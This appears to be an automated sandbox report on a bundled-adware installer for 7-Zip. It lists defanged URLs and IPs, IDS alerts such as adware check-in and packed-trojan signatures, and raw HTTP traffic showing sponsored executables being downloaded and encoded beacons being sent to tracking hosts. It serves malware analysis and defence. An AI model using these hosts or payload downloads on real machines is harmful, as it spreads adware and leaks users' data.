hxxp://i.sbitinjs.info/opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF18wJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231	207.244.65.146
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCPaaY YTEt5Uib53oUw944LBPEhRyyBD7BDVXyMPX/0Ka1gY/yVvFd/xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3rrO8vgt3P/iIImX2R0lDpJK mciuyhYcJKjDaWYJX4fXFKX0xVfRz452ZI8yJZT8RKVPvduoSB0BaMDrns9A1tjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY=	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY=	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAFBkBMfD9KDE9CUHeR8YCF3OiJI4oW9ZGQJQ qRImiBrA2L3SUlT1mit19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUwxQey4cK7isqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp58etVEXCl7 N	54.192.46.233
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=3&utmn=1547645067&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Offer_Accepted&utmht=1420692885102&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1	212.143.22.213
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoYZ7OgPWq2R5uHNcraZZx7PEssJBdfAZfMIB 2VkRFHHeFi2wm40ilUM55afbHqxZlkPvXZTGehCLN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgOM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.192.46.233
hxxp://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE	107.20.238.80
hxxp://download.filesfrog.com/software_files/7_zip/7zip_32.png	212.7.199.182
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420692840&SBPIDS=1
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.3364320762517639	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.46.233
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzT8caJ6Xjpr7zZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0na7uLSNjM/3h59qqyznKLchjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGHU1ykWYUg7GpZ taBa9mFoK8PjmuGTkdEHBtq8JqhDG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn /EIcMoNBcHzbANYrsS2gUKiQ wA8u5okIruQ RRBqg1V20D8k3IQ UVDrGcF71EayYTtvALvT7oW0z9NLN4aDchJbXoZFrU	54.197.238.106
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=	23.43.139.27
hxxp://d2ly1rbvrtv0k6.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.192.46.149
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAEFi9dNonro9RQC drCF7eF/cZ0ZhX4k 1qLi0hJkaRk4yZ3sPsIQc2DBRdrcRJmx9SXN86XzQKNLUMM3uVG6umjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.46.233
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQAENEGDD92d362ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNYffesQuN1AbIRqA21AjxE6JWIAQ8Wjpin/USt YsXz/9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0DDfA6UUf1FIDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHCCupf Q5XR x8kpng0IpIJ	54.197.238.106
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&0.9704049455779596	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUVDwWd9hvLDxFAL52sIXt4W2YWUR1tLs3D3ZLnbsoZ9zjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.46.233
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&0.10465623877104008	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQeEuJy eF9fKYX3Ti/i3YMyquPELD4STKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40=	54.192.46.233
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QgW8pN5r26bof2QYjF1uP5ic0YnV KReB70p5cFj8vcSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EinyDU1xywvV3vvlC0n4Jh9gKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F1CokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RNO160abzp5CgNLtxmH87yasaZRg38QqQuJGktzKh38nNFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E4GJ4QV/LGgmjb7lwwGTBJiD62P3KyTuKSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnBrKiiyV NQbbx5s60wEWd8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I/keGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1XzAUq9vGFcnz4PEn7DqvLFbw==	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=4&index_in_screen=1&index_in_session=4&display_height=185&0.44884757868918307	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.4594330330255643	78.138.127.15
hxxp://d2ly1rbvrtv0k6.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.192.46.149
xs3hgr0g-l8bu4n1j.netdna-ssl.com	198.232.124.192
www.superfish.com	66.70.34.115
www.youtube.com	173.194.113.198

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY Executable served from Amazon S3
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET MALWARE Possible Windows executable sent when remote host claims to send html content
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET USER_AGENTS Suspicious Win32 User Agent
ET MALWARE Adware.Win32/SProtector.A Client Checkin

Traffic

GET /pca3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.verisign.com


HTTP/1.1 200 OK

Server: Apache

ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"

Last-Modified: Fri, 19 Dec 2014 01:00:19 GMT

Date: Thu, 08 Jan 2015 04:57:06 GMT

Content-Length: 933

Connection: keep-alive

Content-Type: application/pkix-crl

0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U
....Class 3 Public Primary Certification Authority..141210000000Z..150
331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y
.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.....
..fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R
.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....
u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2..
..{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N
....* [email protected]!..Y......w
`G........070411175657Z0!..Z`[email protected].*q..080403172017Z0!..l....I..
.Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1
..7<.....e..010207211822Z0...*.H............5..v...V.._)....A... ..
..>.5]....6.(.0uFW.*:T...6$.....R...Y.N.k........%Jn..I.j*.6.3~...r
../[email protected]?....0.A.HTTP/1.1 200 OK..Server: Apache.
.ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"..Last-Modified: F
ri, 19 Dec 2014 01:00:19 GMT..Date: Thu, 08 Jan 2015 04:57:06 GMT..Con
tent-Length: 933..Connection: keep-alive..Content-Type: application/pk
ix-crl..0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc
.1705..U....Class 3 Public Primary Certification Authority..1412100000
00Z..150331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A..
...{2..Y.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y
..q.......fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!.

<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 0bf273691c5e8abcc6e0d2b83ecc42d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7YvD_Qzdz2SH-tZT_Mc9eRd9_JP1ktBtz0Y5OHfb1pHCliWWGr2qIw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=510531-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 510531-583463/583464

Content-Length: 72933

Connection: keep-alive
..d..gL$.4pU.t..$rw3[..q...(N.`...UD{......qS.P%..pD#5..&.J.....S..[..
%.......z.....h.....m.. ?....U....../.......ezf..*...........=...bN.#d
....B.qt.`..A.m14...B._D.8y..]-p..>9....u..5.....m....*.k...... ...
....Q...e...c....}.;!..R..&..}.Y...TVi._.<\...M....X...o.8Q._)..l..
C..F.....*.......E...Z.r.2..r.n....... .01.....].......8.&.........g..
.JF.....E..*A....?..k.E4..{:........$..].!Yd...d...XP)N....u...]d...rE
N.......c.?.p....W.w....EA..o..!]|...8.h_X.9.X.4........ZD..M...Vn....
...n...3 . qz..m...o&.M.....U...BL$.q..d.<8E..Vhl..j.L.u..z..k<.
p\{...v^...^..Q.t&.c....Jv.9}.M..h......[3..Lg...C..\.\.X;..Y...._..=.
.......2i... .TV...:....y.....O3...~.~....t:..})...(J..{..... l..?..u.
^.\U..B....T...4$kx.O.RM....*<.P..]x.c..q..5O|.e:q!..Od..'......E.U
.Q..T-.|1i.....H?B7.S..L. ..b.`EI.8.&.)...$...7..t>X...7.. .......%
.*.nE....`....d.7...?.!.Z.O...-t... .x...$..l...E......R.AG.....]...fd
T.....4?.d.. 6/.......}...<.s..!...uD.c. ...=...Y.....K.......#.7..
.....*4..4.. =.-..D.......N....u..K.|hK.0..L.......g8..!....Z.j.`..X..
.d.|.ow.........7.1..J#..*.xj.#.H.....K.....xm..3._I$.N..5V..>v.<
; ...3|..."l.%E.q..S....:....t.v..l.Y\J.t].E..Y....0G...g\.U..l.l.....
f4....)..E.'..J../...].v..._%. .&......LA~.U....iY.L...T...e.^...[..!.
...nq.s.:.Ct.A.5d./...-4..L.B`0.fKz't].......".Y9._.1.".*..P..l&..y...
..;..4a.........f.S.J.;.l.Gn......x......^...'.....m....W.m/.....-..0.
....Z4Q..`.Y...4......n.VR.*/.. .........|.......F.........F..2.}..-..
-..N7.9k........@.........`.}.k.h..{....=j...h.O.1....._.&..L...W.<<< skipped >>>

GET /p.ashx?e=s5Ydxb c7o0DbDSBvTK 4DEOJYAmH59VBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaKig fkRtZL20T9ViFofsGUl0xzv/1Q1n14WGxPVpt5CrKRl6uWYlY4G r 3F6T7eadsxH93vcJRrmf6/ Q2OmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pjL3ZGBav01MMv4XplGjH_mGyGipihsjQ1OW2NsZi-bN4xiQyTSG1w==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoRNUM0FVgKbyAltiGSLIu3jsPyl1vPIWdGHpnCw1y/LW9C2WJOxGWn/3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyzR9/WfyUA0lCzer71seELEwJZh5R5miz6iMnDtfyAskfZN5ctO46AC HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GTOc8HFcgdTaUERzM1bipx5Pl1gAfIz9BwIZlX17VzFTiNY0uJFwzA==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRocgRgxetMCtyAhwsRGINrujy0 L7mTrvUD/BJ6yGvTMAjtdLvF54MjqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jefHy6Qc5cucauD1A0eKq3Pd3icgW1IX2k1r0fLMAPB_w3Mgtnbtqg==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoX4r3S9aDbaOBPEhRyyBD7D0lOwqSwnORz0Z05yANjzcUdHLbi5Fo13kPWZgf7JA3sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfQhLftAFivpY1mK/vypYWxqboyl6DWa 8c0w/ydqjcW7H9gaJpGIjE4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ndE5uAxiJPh4Zz9usxD-z7No2DM2pIRJDJLmSnAwkNtCVzVLA6fphg==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoW16pnq3EtsLKYX3Ti/i3YOt/nuXGC1lQ7xKtVwphCE/yhsDDHNIJ6TYBMbHlkM59pcijYgxr FfqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IpHv0SDCjtfhaBkCdSu64lOAJ2GgqMe-aaHJAXrDQOZMaFuIhc-NvA==

....

GET /p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoRWn6c6y/lOVjgb6v7cXpPsz7bHier9Xh1vzKX WYQO7xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48063dea20b45680e17876b6616b1aa7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0fQgztToXyvZYr7SBVTJ8Aj3YKeLUErOyIsS4MvcNb4-J8kNJME39g==

....

